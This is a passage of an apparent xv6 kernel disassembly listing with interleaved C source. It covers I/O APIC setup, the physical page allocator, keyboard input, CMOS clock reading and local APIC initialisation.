%edx,(%ebx) ioapic->data = data; 8010227c: 8b 1d 34 26 11 80 mov 0x80112634,%ebx 80102282: 8d 48 20 lea 0x20(%eax),%ecx cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102285: 81 c9 00 00 01 00 or $0x10000,%ecx if(id != ioapicid) cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 8010228b: 83 c0 01 add $0x1,%eax static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; ioapic->data = data; 8010228e: 89 4b 10 mov %ecx,0x10(%ebx) 80102291: 8d 4a 01 lea 0x1(%edx),%ecx 80102294: 83 c2 02 add $0x2,%edx } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 80102297: 89 0b mov %ecx,(%ebx) ioapic->data = data; 80102299: 8b 0d 34 26 11 80 mov 0x80112634,%ecx if(id != ioapicid) cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 8010229f: 39 c6 cmp %eax,%esi static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; ioapic->data = data; 801022a1: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) if(id != ioapicid) cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 801022a8: 7d ce jge 80102278 <ioapicinit+0x68> ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); ioapicwrite(REG_TABLE+2*i+1, 0); } } 801022aa: 83 c4 10 add $0x10,%esp 801022ad: 5b pop %ebx 801022ae: 5e pop %esi 801022af: 5d pop %ebp 801022b0: c3 ret 801022b1: eb 0d jmp 801022c0 <ioapicenable> 801022b3: 90 nop 801022b4: 90 nop 801022b5: 90 nop 801022b6: 90 nop 801022b7: 90 nop 801022b8: 90 nop 801022b9: 90 nop 801022ba: 90 nop 801022bb: 90 nop 801022bc: 90 nop 801022bd: 90 nop 801022be: 90 nop 801022bf: 90 nop 801022c0 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 801022c0: 55 push %ebp 801022c1: 89 e5 mov %esp,%ebp 801022c3: 8b 55 08 mov 0x8(%ebp),%edx 801022c6: 53 push %ebx 801022c7: 8b 45 0c mov 0xc(%ebp),%eax // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 801022ca: 8d 5a 20 lea 0x20(%edx),%ebx 801022cd: 8d 4c 12 10 lea 0x10(%edx,%edx,1),%ecx } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 801022d1: 8b 15 34 26 11 80 mov 0x80112634,%edx { // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022d7: c1 e0 18 shl $0x18,%eax } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 801022da: 89 0a mov %ecx,(%edx) ioapic->data = data; 801022dc: 8b 15 34 26 11 80 mov 0x80112634,%edx { // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022e2: 83 c1 01 add $0x1,%ecx static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; ioapic->data = data; 801022e5: 89 5a 10 mov %ebx,0x10(%edx) } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 801022e8: 89 0a mov %ecx,(%edx) ioapic->data = data; 801022ea: 8b 15 34 26 11 80 mov 0x80112634,%edx 801022f0: 89 42 10 mov %eax,0x10(%edx) // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); } 801022f3: 5b pop %ebx 801022f4: 5d pop %ebp 801022f5: c3 ret 801022f6: 66 90 xchg %ax,%ax 801022f8: 66 90 xchg %ax,%ax 801022fa: 66 90 xchg %ax,%ax 801022fc: 66 90 xchg %ax,%ax 801022fe: 66 90 xchg %ax,%ax 80102300 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 80102300: 55 push %ebp 80102301: 89 e5 mov %esp,%ebp 80102303: 53 push %ebx 80102304: 83 ec 14 sub $0x14,%esp 80102307: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 8010230a: f7 c3 ff 0f 00 00 test $0xfff,%ebx 80102310: 75 7c jne 8010238e <kfree+0x8e> 80102312: 81 fb a8 5b 11 80 cmp $0x80115ba8,%ebx 80102318: 72 74 jb 8010238e <kfree+0x8e> 8010231a: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80102320: 3d ff ff ff 0d cmp $0xdffffff,%eax 80102325: 77 67 ja 8010238e <kfree+0x8e> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 80102327: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 8010232e: 00 8010232f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80102336: 00 80102337: 89 1c 24 mov %ebx,(%esp) 8010233a: e8 b1 1f 00 00 call 801042f0 <memset> if(kmem.use_lock) 8010233f: 8b 15 74 26 11 80 mov 0x80112674,%edx 80102345: 85 d2 test %edx,%edx 80102347: 75 37 jne 80102380 <kfree+0x80> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 80102349: a1 78 26 11 80 mov 0x80112678,%eax 8010234e: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 80102350: a1 74 26 11 80 mov 0x80112674,%eax if(kmem.use_lock) acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; kmem.freelist = r; 80102355: 89 1d 78 26 11 80 mov %ebx,0x80112678 if(kmem.use_lock) 8010235b: 85 c0 test %eax,%eax 8010235d: 75 09 jne 80102368 <kfree+0x68> release(&kmem.lock); } 8010235f: 83 c4 14 add $0x14,%esp 80102362: 5b pop %ebx 80102363: 5d pop %ebp 80102364: c3 ret 80102365: 8d 76 00 lea 0x0(%esi),%esi acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; kmem.freelist = r; if(kmem.use_lock) release(&kmem.lock); 80102368: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp) } 8010236f: 83 c4 14 add $0x14,%esp 80102372: 5b pop %ebx 80102373: 5d pop %ebp acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; kmem.freelist = r; if(kmem.use_lock) release(&kmem.lock); 80102374: e9 27 1f 00 00 jmp 801042a0 <release> 80102379: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); if(kmem.use_lock) acquire(&kmem.lock); 80102380: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 80102387: e8 a4 1e 00 00 call 80104230 <acquire> 8010238c: eb bb jmp 80102349 <kfree+0x49> kfree(char *v) { struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) panic("kfree"); 8010238e: c7 04 24 c6 72 10 80 movl $0x801072c6,(%esp) 80102395: e8 c6 df ff ff call 80100360 <panic> 8010239a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801023a0 <freerange>: kmem.use_lock = 1; } void freerange(void *vstart, void *vend) { 801023a0: 55 push %ebp 801023a1: 89 e5 mov %esp,%ebp 801023a3: 56 push %esi 801023a4: 53 push %ebx 801023a5: 83 ec 10 sub $0x10,%esp char *p; p = (char*)PGROUNDUP((uint)vstart); 801023a8: 8b 45 08 mov 0x8(%ebp),%eax kmem.use_lock = 1; } void freerange(void *vstart, void *vend) { 801023ab: 8b 75 0c mov 0xc(%ebp),%esi char *p; p = (char*)PGROUNDUP((uint)vstart); 801023ae: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 801023b4: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023ba: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 801023c0: 39 de cmp %ebx,%esi 801023c2: 73 08 jae 801023cc <freerange+0x2c> 801023c4: eb 18 jmp 801023de <freerange+0x3e> 801023c6: 66 90 xchg %ax,%ax 801023c8: 89 da mov %ebx,%edx 801023ca: 89 c3 mov %eax,%ebx kfree(p); 801023cc: 89 14 24 mov %edx,(%esp) 801023cf: e8 2c ff ff ff call 80102300 <kfree> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023d4: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 801023da: 39 f0 cmp %esi,%eax 801023dc: 76 ea jbe 801023c8 <freerange+0x28> kfree(p); } 801023de: 83 c4 10 add $0x10,%esp 801023e1: 5b pop %ebx 801023e2: 5e pop %esi 801023e3: 5d pop %ebp 801023e4: c3 ret 801023e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801023e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801023f0 <kinit1>: // the pages mapped by entrypgdir on free list. // 2. main() calls kinit2() with the rest of the physical pages // after installing a full page table that maps them on all cores. void kinit1(void *vstart, void *vend) { 801023f0: 55 push %ebp 801023f1: 89 e5 mov %esp,%ebp 801023f3: 56 push %esi 801023f4: 53 push %ebx 801023f5: 83 ec 10 sub $0x10,%esp 801023f8: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 801023fb: c7 44 24 04 cc 72 10 movl $0x801072cc,0x4(%esp) 80102402: 80 80102403: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 8010240a: e8 b1 1c 00 00 call 801040c0 <initlock> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 8010240f: 8b 45 08 mov 0x8(%ebp),%eax // after installing a full page table that maps them on all cores. void kinit1(void *vstart, void *vend) { initlock(&kmem.lock, "kmem"); kmem.use_lock = 0; 80102412: c7 05 74 26 11 80 00 movl $0x0,0x80112674 80102419: 00 00 00 void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 8010241c: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102422: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102428: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 8010242e: 39 de cmp %ebx,%esi 80102430: 73 0a jae 8010243c <kinit1+0x4c> 80102432: eb 1a jmp 8010244e <kinit1+0x5e> 80102434: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102438: 89 da mov %ebx,%edx 8010243a: 89 c3 mov %eax,%ebx kfree(p); 8010243c: 89 14 24 mov %edx,(%esp) 8010243f: e8 bc fe ff ff call 80102300 <kfree> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102444: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 8010244a: 39 c6 cmp %eax,%esi 8010244c: 73 ea jae 80102438 <kinit1+0x48> kinit1(void *vstart, void *vend) { initlock(&kmem.lock, "kmem"); kmem.use_lock = 0; freerange(vstart, vend); } 8010244e: 83 c4 10 add $0x10,%esp 80102451: 5b pop %ebx 80102452: 5e pop %esi 80102453: 5d pop %ebp 80102454: c3 ret 80102455: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102460 <kinit2>: void kinit2(void *vstart, void *vend) { 80102460: 55 push %ebp 80102461: 89 e5 mov %esp,%ebp 80102463: 56 push %esi 80102464: 53 push %ebx 80102465: 83 ec 10 sub $0x10,%esp void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 80102468: 8b 45 08 mov 0x8(%ebp),%eax freerange(vstart, vend); } void kinit2(void *vstart, void *vend) { 8010246b: 8b 75 0c mov 0xc(%ebp),%esi void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); 8010246e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102474: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010247a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 80102480: 39 de cmp %ebx,%esi 80102482: 73 08 jae 8010248c <kinit2+0x2c> 80102484: eb 18 jmp 8010249e <kinit2+0x3e> 80102486: 66 90 xchg %ax,%ax 80102488: 89 da mov %ebx,%edx 8010248a: 89 c3 mov %eax,%ebx kfree(p); 8010248c: 89 14 24 mov %edx,(%esp) 8010248f: e8 6c fe ff ff call 80102300 <kfree> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102494: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 8010249a: 39 c6 cmp %eax,%esi 8010249c: 73 ea jae 80102488 <kinit2+0x28> void kinit2(void *vstart, void *vend) { freerange(vstart, vend); kmem.use_lock = 1; 8010249e: c7 05 74 26 11 80 01 movl $0x1,0x80112674 801024a5: 00 00 00 } 801024a8: 83 c4 10 add $0x10,%esp 801024ab: 5b pop %ebx 801024ac: 5e pop %esi 801024ad: 5d pop %ebp 801024ae: c3 ret 801024af: 90 nop 801024b0 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. char* kalloc(void) { 801024b0: 55 push %ebp 801024b1: 89 e5 mov %esp,%ebp 801024b3: 53 push %ebx 801024b4: 83 ec 14 sub $0x14,%esp struct run *r; if(kmem.use_lock) 801024b7: a1 74 26 11 80 mov 0x80112674,%eax 801024bc: 85 c0 test %eax,%eax 801024be: 75 30 jne 801024f0 <kalloc+0x40> acquire(&kmem.lock); r = kmem.freelist; 801024c0: 8b 1d 78 26 11 80 mov 0x80112678,%ebx if(r) 801024c6: 85 db test %ebx,%ebx 801024c8: 74 08 je 801024d2 <kalloc+0x22> kmem.freelist = r->next; 801024ca: 8b 13 mov (%ebx),%edx 801024cc: 89 15 78 26 11 80 mov %edx,0x80112678 if(kmem.use_lock) 801024d2: 85 c0 test %eax,%eax 801024d4: 74 0c je 801024e2 <kalloc+0x32> release(&kmem.lock); 801024d6: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801024dd: e8 be 1d 00 00 call 801042a0 <release> return (char*)r; } 801024e2: 83 c4 14 add $0x14,%esp 801024e5: 89 d8 mov %ebx,%eax 801024e7: 5b pop %ebx 801024e8: 5d pop %ebp 801024e9: c3 ret 801024ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi kalloc(void) { struct run *r; if(kmem.use_lock) acquire(&kmem.lock); 801024f0: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801024f7: e8 34 1d 00 00 call 80104230 <acquire> 801024fc: a1 74 26 11 80 mov 0x80112674,%eax 80102501: eb bd jmp 801024c0 <kalloc+0x10> 80102503: 66 90 xchg %ax,%ax 80102505: 66 90 xchg %ax,%ax 80102507: 66 90 xchg %ax,%ax 80102509: 66 90 xchg %ax,%ax 8010250b: 66 90 xchg %ax,%ax 8010250d: 66 90 xchg %ax,%ax 8010250f: 90 nop 80102510 <kbdgetc>: static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102510: ba 64 00 00 00 mov $0x64,%edx 80102515: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 80102516: a8 01 test $0x1,%al 80102518: 0f 84 ba 00 00 00 je 801025d8 <kbdgetc+0xc8> 8010251e: b2 60 mov $0x60,%dl 80102520: ec in (%dx),%al return -1; data = inb(KBDATAP); 80102521: 0f b6 c8 movzbl %al,%ecx if(data == 0xE0){ 80102524: 81 f9 e0 00 00 00 cmp $0xe0,%ecx 8010252a: 0f 84 88 00 00 00 je 801025b8 <kbdgetc+0xa8> shift |= E0ESC; return 0; } else if(data & 0x80){ 80102530: 84 c0 test %al,%al 80102532: 79 2c jns 80102560 <kbdgetc+0x50> // Key released data = (shift & E0ESC ? data : data & 0x7F); 80102534: 8b 15 b4 a5 10 80 mov 0x8010a5b4,%edx 8010253a: f6 c2 40 test $0x40,%dl 8010253d: 75 05 jne 80102544 <kbdgetc+0x34> 8010253f: 89 c1 mov %eax,%ecx 80102541: 83 e1 7f and $0x7f,%ecx shift &= ~(shiftcode[data] | E0ESC); 80102544: 0f b6 81 00 74 10 80 movzbl -0x7fef8c00(%ecx),%eax 8010254b: 83 c8 40 or $0x40,%eax 8010254e: 0f b6 c0 movzbl %al,%eax 80102551: f7 d0 not %eax 80102553: 21 d0 and %edx,%eax 80102555: a3 b4 a5 10 80 mov %eax,0x8010a5b4 return 0; 8010255a: 31 c0 xor %eax,%eax 8010255c: c3 ret 8010255d: 8d 76 00 lea 0x0(%esi),%esi #include "defs.h" #include "kbd.h" int kbdgetc(void) { 80102560: 55 push %ebp 80102561: 89 e5 mov %esp,%ebp 80102563: 53 push %ebx 80102564: 8b 1d b4 a5 10 80 mov 0x8010a5b4,%ebx } else if(data & 0x80){ // Key released data = (shift & E0ESC ? data : data & 0x7F); shift &= ~(shiftcode[data] | E0ESC); return 0; } else if(shift & E0ESC){ 8010256a: f6 c3 40 test $0x40,%bl 8010256d: 74 09 je 80102578 <kbdgetc+0x68> // Last character was an E0 escape; or with 0x80 data |= 0x80; 8010256f: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 80102572: 83 e3 bf and $0xffffffbf,%ebx data = (shift & E0ESC ? data : data & 0x7F); shift &= ~(shiftcode[data] | E0ESC); return 0; } else if(shift & E0ESC){ // Last character was an E0 escape; or with 0x80 data |= 0x80; 80102575: 0f b6 c8 movzbl %al,%ecx shift &= ~E0ESC; } shift |= shiftcode[data]; 80102578: 0f b6 91 00 74 10 80 movzbl -0x7fef8c00(%ecx),%edx shift ^= togglecode[data]; 8010257f: 0f b6 81 00 73 10 80 movzbl -0x7fef8d00(%ecx),%eax // Last character was an E0 escape; or with 0x80 data |= 0x80; shift &= ~E0ESC; } shift |= shiftcode[data]; 80102586: 09 da or %ebx,%edx shift ^= togglecode[data]; 80102588: 31 c2 xor %eax,%edx c = charcode[shift & (CTL | SHIFT)][data]; 8010258a: 89 d0 mov %edx,%eax 8010258c: 83 e0 03 and $0x3,%eax 8010258f: 8b 04 85 e0 72 10 80 mov -0x7fef8d20(,%eax,4),%eax data |= 0x80; shift &= ~E0ESC; } shift |= shiftcode[data]; shift ^= togglecode[data]; 80102596: 89 15 b4 a5 10 80 mov %edx,0x8010a5b4 c = charcode[shift & (CTL | SHIFT)][data]; if(shift & CAPSLOCK){ 8010259c: 83 e2 08 and $0x8,%edx shift &= ~E0ESC; } shift |= shiftcode[data]; shift ^= togglecode[data]; c = charcode[shift & (CTL | SHIFT)][data]; 8010259f: 0f b6 04 08 movzbl (%eax,%ecx,1),%eax if(shift & CAPSLOCK){ 801025a3: 74 0b je 801025b0 <kbdgetc+0xa0> if('a' <= c && c <= 'z') 801025a5: 8d 50 9f lea -0x61(%eax),%edx 801025a8: 83 fa 19 cmp $0x19,%edx 801025ab: 77 1b ja 801025c8 <kbdgetc+0xb8> c += 'A' - 'a'; 801025ad: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 801025b0: 5b pop %ebx 801025b1: 5d pop %ebp 801025b2: c3 ret 801025b3: 90 nop 801025b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if((st & KBS_DIB) == 0) return -1; data = inb(KBDATAP); if(data == 0xE0){ shift |= E0ESC; 801025b8: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4 return 0; 801025bf: 31 c0 xor %eax,%eax 801025c1: c3 ret 801025c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi shift ^= togglecode[data]; c = charcode[shift & (CTL | SHIFT)][data]; if(shift & CAPSLOCK){ if('a' <= c && c <= 'z') c += 'A' - 'a'; else if('A' <= c && c <= 'Z') 801025c8: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 801025cb: 8d 50 20 lea 0x20(%eax),%edx 801025ce: 83 f9 19 cmp $0x19,%ecx 801025d1: 0f 46 c2 cmovbe %edx,%eax } return c; 801025d4: eb da jmp 801025b0 <kbdgetc+0xa0> 801025d6: 66 90 xchg %ax,%ax }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) return -1; 801025d8: b8 ff ff ff ff mov $0xffffffff,%eax 801025dd: c3 ret 801025de: 66 90 xchg %ax,%ax 801025e0 <kbdintr>: return c; } void kbdintr(void) { 801025e0: 55 push %ebp 801025e1: 89 e5 mov %esp,%ebp 801025e3: 83 ec 18 sub $0x18,%esp consoleintr(kbdgetc); 801025e6: c7 04 24 10 25 10 80 movl $0x80102510,(%esp) 801025ed: e8 be e1 ff ff call 801007b0 <consoleintr> } 801025f2: c9 leave 801025f3: c3 ret 801025f4: 66 90 xchg %ax,%ax 801025f6: 66 90 xchg %ax,%ax 801025f8: 66 90 xchg %ax,%ax 801025fa: 66 90 xchg %ax,%ax 801025fc: 66 90 xchg %ax,%ax 801025fe: 66 90 xchg %ax,%ax 80102600 <fill_rtcdate>: return inb(CMOS_RETURN); } static void fill_rtcdate(struct rtcdate *r) { 80102600: 55 push %ebp 80102601: 89 c1 mov %eax,%ecx 80102603: 89 e5 mov %esp,%ebp } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102605: ba 70 00 00 00 mov $0x70,%edx 8010260a: 53 push %ebx 8010260b: 31 c0 xor %eax,%eax 8010260d: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010260e: bb 71 00 00 00 mov $0x71,%ebx 80102613: 89 da mov %ebx,%edx 80102615: ec in (%dx),%al cmos_read(uint reg) { outb(CMOS_PORT, reg); microdelay(200); return inb(CMOS_RETURN); 80102616: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102619: b2 70 mov $0x70,%dl 8010261b: 89 01 mov %eax,(%ecx) 8010261d: b8 02 00 00 00 mov $0x2,%eax 80102622: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102623: 89 da mov %ebx,%edx 80102625: ec in (%dx),%al 80102626: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102629: b2 70 mov $0x70,%dl 8010262b: 89 41 04 mov %eax,0x4(%ecx) 8010262e: b8 04 00 00 00 mov $0x4,%eax 80102633: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102634: 89 da mov %ebx,%edx 80102636: ec in (%dx),%al 80102637: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010263a: b2 70 mov $0x70,%dl 8010263c: 89 41 08 mov %eax,0x8(%ecx) 8010263f: b8 07 00 00 00 mov $0x7,%eax 80102644: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102645: 89 da mov %ebx,%edx 80102647: ec in (%dx),%al 80102648: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010264b: b2 70 mov $0x70,%dl 8010264d: 89 41 0c mov %eax,0xc(%ecx) 80102650: b8 08 00 00 00 mov $0x8,%eax 80102655: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102656: 89 da mov %ebx,%edx 80102658: ec in (%dx),%al 80102659: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010265c: b2 70 mov $0x70,%dl 8010265e: 89 41 10 mov %eax,0x10(%ecx) 80102661: b8 09 00 00 00 mov $0x9,%eax 80102666: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102667: 89 da mov %ebx,%edx 80102669: ec in (%dx),%al 8010266a: 0f b6 d8 movzbl %al,%ebx 8010266d: 89 59 14 mov %ebx,0x14(%ecx) r->minute = cmos_read(MINS); r->hour = cmos_read(HOURS); r->day = cmos_read(DAY); r->month = cmos_read(MONTH); r->year = cmos_read(YEAR); } 80102670: 5b pop %ebx 80102671: 5d pop %ebp 80102672: c3 ret 80102673: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102679: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102680 <lapicinit>: } void lapicinit(void) { if(!lapic) 80102680: a1 7c 26 11 80 mov 0x8011267c,%eax lapic[ID]; // wait for write to finish, by reading } void lapicinit(void) { 80102685: 55 push %ebp 80102686: 89 e5 mov %esp,%ebp if(!lapic) 80102688: 85 c0 test %eax,%eax 8010268a: 0f 84 c0 00 00 00 je 80102750 <lapicinit+0xd0> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102690: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 80102697: 01 00 00 lapic[ID]; // wait for write to finish, by reading 8010269a: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010269d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 801026a4: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026a7: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801026aa: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 801026b1: 00 02 00 lapic[ID]; // wait for write to finish, by reading 801026b4: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801026b7: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 801026be: 96 98 00 lapic[ID]; // wait for write to finish, by reading 801026c1: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801026c4: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 801026cb: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026ce: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801026d1: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 801026d8: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026db: 8b 50 20 mov 0x20(%eax),%edx lapicw(LINT0, MASKED); lapicw(LINT1, MASKED); // Disable performance counter overflow interrupts // on machines that provide that interrupt entry. if(((lapic[VER]>>16) & 0xFF) >= 4) 801026de: 8b 50 30 mov 0x30(%eax),%edx 801026e1: c1 ea 10 shr $0x10,%edx 801026e4: 80 fa 03 cmp $0x3,%dl 801026e7: 77 6f ja 80102758 <lapicinit+0xd8> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801026e9: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 801026f0: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026f3: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801026f6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026fd: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102700: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102703: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 8010270a: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010270d: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102710: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102717: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010271a: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010271d: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 80102724: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102727: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010272a: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 80102731: 85 08 00 lapic[ID]; // wait for write to finish, 